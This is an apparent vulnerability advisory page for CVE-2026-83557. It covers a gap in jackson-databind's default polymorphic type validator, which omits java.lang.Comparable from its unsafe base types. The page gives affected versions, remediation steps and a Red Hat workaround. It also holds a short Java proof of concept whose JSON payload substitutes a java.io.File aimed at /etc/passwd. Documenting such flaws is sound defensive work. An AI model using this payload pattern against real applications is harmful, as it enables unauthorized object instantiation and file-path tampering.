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CVE-2026-83557 — jackson-databind

MEDIUMFix: FasterXML/jackson-databind@eb3b7fc

CVE-2026-83557 is a medium-severity (CVSS 5.6) Deserialization of Untrusted Data vulnerability in tools.jackson.core:jackson-databind. A fix is available for tools.jackson.core:jackson-databind — see the affected versions and patch details below.

jackson-databind omits java.lang.Comparable from DefaultBaseTypeLimitingValidator's unsafe base types

Also known asGHSA-gx83-3vf8-gh7j
Published
Updated
Affected
5 pkgs
Patched
5 / 5
Exploits
None indexed
Exploitation data as of Oct 6, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-83557.

EPSS Exploitation Probability

via FIRST.org ↗
0.7%probability of exploitation in next 30 days
Lower Risk+0.01%
Lower risk than most CVEs52th percentile — riskier than 52% of all scored CVEsHighest risk
0.21%0.55%0.88%1.22%0.7%0.7%Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-83557 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 384,189 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

5 pkgs affected
☕tools.jackson.core:jackson-databind☕tools.jackson.core:jackson-databind☕com.fasterxml.jackson.core:jackson-databind☕com.fasterxml.jackson.core:jackson-databind☕com.fasterxml.jackson.core:jackson-databind

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.

Description

Summary

DefaultBaseTypeLimitingValidator — the PolymorphicTypeValidator used automatically whenever @JsonTypeInfo is applied without an explicitly configured custom validator — denies polymorphic resolution only for nine specific "unsafe base types" (Object, Serializable, Closeable, AutoCloseable, Cloneable, Runnable, java.util.logging.Handler, javax.naming.Referenceable, javax.sql.DataSource). Its isSafeSubType() returns true unconditionally for every other base type. java.lang.Comparable is not in that list, despite being implemented by a very large fraction of JDK and application classes — comparable in breadth to Serializable, which is denylisted for exactly that reason. An application with an @JsonTypeInfo-annotated Comparable-typed property, and no custom validator configured, will accept a type identifier for essentially any class implementing Comparable.

Details

Affected file: src/main/java/tools/jackson/databind/jsontype/DefaultBaseTypeLimitingValidator.java

private final static class UnsafeBaseTypes {
    private final Set<String> UNSAFE = new HashSet<>();
    {
        UNSAFE.add(Object.class.getName());
        UNSAFE.add(java.io.Closeable.class.getName());
        UNSAFE.add(java.io.Serializable.class.getName());
        UNSAFE.add(AutoCloseable.class.getName());
        UNSAFE.add(Cloneable.class.getName());
        UNSAFE.add(Runnable.class.getName());          // [databind#5014]
        UNSAFE.add("java.util.logging.Handler");
        UNSAFE.add("javax.naming.Referenceable");
        UNSAFE.add("javax.sql.DataSource");
        // java.lang.Comparable is NOT present here
    }
}

protected boolean isSafeSubType(DatabindContext ctxt,
        JavaType baseType, JavaType subType) {
    return true;   // unconditional for every base type not in UNSAFE
}

The class's own JavaDoc acknowledges the design ("Note that when using potentially unsafe base type like java.lang.Object a custom implementation... is needed"), so the trade-off of leaving broad base types unrestricted is intentional. The gap is that Comparable has the same breadth of implementers as the types this class does restrict, and its absence looks like an oversight rather than a deliberate choice — consistent with the ongoing, incremental nature of this list (Runnable was added recently for issue #5014).

This is specific to the default, unconfigured validator reached via bare @JsonTypeInfo usage. Global "Default Typing" via activateDefaultTyping() is not affected, because that method structurally requires an explicit PolymorphicTypeValidator argument — a correctly-configured BasicPolymorphicTypeValidator rejects the same payload under activateDefaultTyping().

PoC

Built entirely from source (jackson-databind + jackson-core + jackson-annotations, javac, OpenJDK 21, no third-party gadget libraries, no network access):

1. Sanity check (benign class, confirms the mechanism fires):

static class SafeThing implements Comparable<SafeThing> {
    public String name;
    public SafeThing() {}
    public int compareTo(SafeThing o) { return 0; }
}
static class Holder {
    @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
    public Comparable<?> value;
}

ObjectMapper mapper = JsonMapper.builder().build();   // no custom PTV
String json = "{\"value\":{\"@class\":\"...SafeThing\",\"name\":\"hello\"}}";
Holder h = mapper.readValue(json, Holder.class);
// RESULT: ACCEPTED, class=...SafeThing

2. Real JDK class substitution:

String json = "{\"value\":[\"java.io.File\",\"/etc/passwd\"]}";
Holder h = mapper.readValue(json, Holder.class);
// RESULT: ACCEPTED, class=java.io.File value=/etc/passwd

3. Negative control — Default Typing with an explicit custom PTV:

PolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder()
    .allowIfSubType("PtvGapTest4").build();
ObjectMapper mapper = JsonMapper.builder()
    .activateDefaultTyping(ptv, DefaultTyping.NON_FINAL).build();
// same java.io.File payload
// RESULT: REJECTED - InvalidTypeIdException: "...denied resolution"

Observed output:

$ java -cp .:build/classes PtvGapTest3 Trying: {"value":["java.io.File","/etc/passwd"]} ACCEPTED, class=java.io.File value=/etc/passwd

$ java -cp .:build/classes PtvGapTest4 Trying malicious substitution: ["PtvGapTest4$Holder",{"value":["java.io.File","/etc/passwd"]}] REJECTED - InvalidTypeIdException: Could not resolve type id 'java.io.File' as a subtype of java.lang.Comparable: Configured PolymorphicTypeValidator denied resolution

Impact

Any application declaring an @JsonTypeInfo-annotated property or class with Comparable as its base type, without a separately configured restrictive PolymorphicTypeValidator, will accept a type identifier for essentially any class implementing Comparable. Concrete impact is demonstrated via java.io.File: an attacker can cause construction of a File object for an arbitrary, attacker-chosen path. On its own this is a controlled-object-instantiation primitive; if the application later calls path-sensitive or mutating methods on the received value, this becomes a path-traversal-adjacent primitive.

Suggested remediation:

  1. Add java.lang.Comparable to UnsafeBaseTypes.UNSAFE.
  2. Audit other broad JDK interfaces (java.lang.Iterable, java.util.EventListener) for the same gap.
  3. Consider a narrower default for isSafeSubType() for base types outside the fixed denylist, rather than unconditional true.

Affected Packages

5 total 5 fixed
EcosystemPackageVulnerable rangeFix
☕Maventools.jackson.core:jackson-databind≥ 3.0.0&&< 3.1.63.1.6tools.jackson.core:jackson-databind:3.1.6
☕Maventools.jackson.core:jackson-databind≥ 3.2.0&&< 3.2.23.2.2tools.jackson.core:jackson-databind:3.2.2
☕Mavencom.fasterxml.jackson.core:jackson-databind≥ 2.11.0&&< 2.18.102.18.10com.fasterxml.jackson.core:jackson-databind:2.18.10
☕Mavencom.fasterxml.jackson.core:jackson-databind≥ 2.19.0&&< 2.21.62.21.6com.fasterxml.jackson.core:jackson-databind:2.21.6
☕Mavencom.fasterxml.jackson.core:jackson-databind≥ 2.22.0&&< 2.22.22.22.2com.fasterxml.jackson.core:jackson-databind:2.22.2

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for tools.jackson.core:jackson-databind, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update tools.jackson.core:jackson-databind to 3.1.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-83557 is resolved across your whole dependency graph.

  3. Workarounds

    Do not deserialise data from untrusted sources: where the format allows it, restrict deserialisation to an explicit allowlist of expected types, and prefer a data-only format (JSON, Protobuf) over one that can reconstruct arbitrary objects until you can upgrade.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatModerate

Rated Moderate, not Critical or Important: exploiting this flaw needs an application to type a @JsonTypeInfo property as java.lang.Comparable without configuring its own PolymorphicTypeValidator, an uncommon pattern, which is why the vector shows High attack complexity (AC:H) rather than Low. Even under those…

Workaround published by Red Hat
If immediate upgrade is not possible, audit for @JsonTypeInfo properties typed as java.lang.Comparable without a custom PolymorphicTypeValidator. Narrow the type or add a validator that denies java.io.File and similar Comparable implementations. This doesn't apply to global default typing (activateDefaultTyping), which already requires an explicit validator.
Source: Red Hat security advisory for CVE-2026-83557 (CC BY 4.0)

Frequently Asked Questions

### Summary `DefaultBaseTypeLimitingValidator` — the `PolymorphicTypeValidator` used automatically whenever `@JsonTypeInfo` is applied without an explicitly configured custom validator — denies polymorphic resolution only for nine specific "unsafe base types" (`Object`, `Serializable`, `Closeable`, `AutoCloseable`, `Cloneable`, `Runnable`, `java.util.logging.Handler`, `javax.naming.Referenceable`, `javax.sql.DataSource`). Its `isSafeSubType()` returns `true` unconditionally for every other base type. `java.lang.Comparable` is not in that list, despite being implemented by a very large fraction
O3 Security · Impact-Aware SCA

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CVE-2026-83557: jackson-databind — Fixed in 3.1.6